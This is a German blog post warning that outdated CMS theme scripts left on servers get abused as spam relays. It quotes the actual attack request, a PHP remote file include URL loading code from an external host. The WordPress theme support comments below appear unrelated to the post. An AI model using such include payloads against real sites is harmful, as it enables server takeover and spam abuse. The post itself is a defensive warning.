Vorsicht: Alte Scripte als Spamschleuder
Lücken in alten oder veralteten Scripts können zum Versenden von Spam durch Dritte unter eurer Domain verwendet werden – so geschehen vor ein paar Tagen bei Nils.
Die betreffende Datei war Teil eines CMS-Themes und wurde zwischenzeitlich sicher von den Machern geupdatet, lag aber eben noch (eigentlich ungenutzt) in einer alten Version auf dem Server. Mit [...]/advanced2.php?pluginpath[0]=http://www.[...].net/mega/info.txt? wurde eine externe Datei eingebunden, also eine klassische PHP Remote File Include Vulnerability.
Also unbedingt dafür sorgen dass eure Scripte auf dem aktuellsten Stand sind oder ihr ungenutzte alte Sachen löscht – auch wenn das Arbeit macht – denn ihr haftet dafür was auf euren Servern passiert.



BOK 01:18 on 06.01.2007 Permalink
Link is tot…
Fatal error: Call to undefined function: graceful_fail()Daniel 11:29 on 06.01.2007 Permalink
Sorry, läuft.
BOK 13:19 on 06.01.2007 Permalink
Danke!
But the “Sidebar Widget”-tab isn’t shown, so I can’t use it so far to include widgets… (using WP v2.0.6)
Daniel 13:30 on 06.01.2007 Permalink
I’m running 2.0.5 and the latest widgets-plugin:
Everything shows up just like expected.
You’ve installed the automattic-plugin, right?
BOK 13:59 on 06.01.2007 Permalink
Yes indeed, version 1.0.20060711 of the Sidebar Widgets that is (taken from your mentioned link above).
Vinod Ponmanadiyil 17:03 on 11.02.2007 Permalink
Even I am not able to get the Sidebar widgets.
Please recheck if you’ve attached the correct files!
thanks.
Daniel 14:30 on 04.03.2007 Permalink
I’m sorry, it is working for me:
< ?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(1) ) : ?>and both calls for the sidebars are included in sidebar.php – I think there is nothing else what I could do…
Theseven7 05:57 on 28.05.2007 Permalink
The download linked was broken.
Daniel 20:27 on 28.05.2007 Permalink
You’re right and I’m sorry – up again.
luca 23:07 on 12.06.2007 Permalink
I get an error while unzipping the file. Any help ?
Daniel 20:17 on 28.06.2007 Permalink
Yes, load the all new version!
adhisimon 18:45 on 14.08.2007 Permalink
The download link is broken again
Daniel 18:58 on 14.08.2007 Permalink
Thank you! Working again…
Paul 19:58 on 14.08.2007 Permalink
Nabend,
bin grad mitm Blog am umziehen und hab mir grad euer 2813-Theme installiert. Problem: Auf der Startseite werden gar keine Posts angezeigt… In der home.php hab ich aber bei “showposts=10″ editiert.
Daniel 20:05 on 14.08.2007 Permalink
Hallo Paul,
dieses Problem tritt leider manchmal auf – hast Du mal versucht den Wert auf 50 zu stellen?
Leider muss man teilweise einen sehr viel höheren Wert angeben als man anzeigen will, womit das genau zu tun hat…
Paul 20:34 on 14.08.2007 Permalink
Bin jetzt bis 10.000 hochgegangen xD
Tut sich nichts.
Wenn du nicht weißt, wieso das auftritt, weißt du wohl leider auch nicht, was man dagegen tun kann? :/
Daniel 20:42 on 14.08.2007 Permalink
Ich bin leider noch auf der Arbeit und kann grade nicht in den Code sehen – ist eine Zeile in der Art von
< ?php if (!(in_category('3'))) continue; ?>in der home.php?
Falls ja legt die “3″ fest welche Kategorie auf der Startseite angezeigt wird – das müsstest Du dann in die Kategorie ändern die Du anzeigen willst.
Falls nein musst Du leider noch warten bis ich reinsehen kann, dann kann ich Dir die Lösung auf jeden Fall sagen.
Paul 21:14 on 14.08.2007 Permalink
Nun ja, ich will aber nicht nur eine Kategorie auf der Startseite haben, sondern die Beiträge, wie sie geschrieben wurden- auch in unterschiedlichen Kategorien
Daniel 21:22 on 14.08.2007 Permalink
Ja, in diesem Fall kommt die if… Schleife raus – ich weiß nur grade nicht aus dem Kopf ob sie in dem Theme hier drin ist oder nicht.
Paul 21:32 on 14.08.2007 Permalink
Japp, das haben wir grad auch entdeckt
Es werden dann zwar die Einträge angezeigt… Aber dann gibt es noch keine Funktion, um auf die nächste Seite zu gehen (also unten, am Seitenende).
Jim 18:31 on 07.09.2007 Permalink
The download link is broken again
Daniel 18:36 on 07.09.2007 Permalink
And so is the theme atm – I’m looking foreward to release a new copy later this month when I’m back from Africa with some requested features and a few fixes.
Dean 05:01 on 12.04.2008 Permalink
I’ve downloaded it. Nice.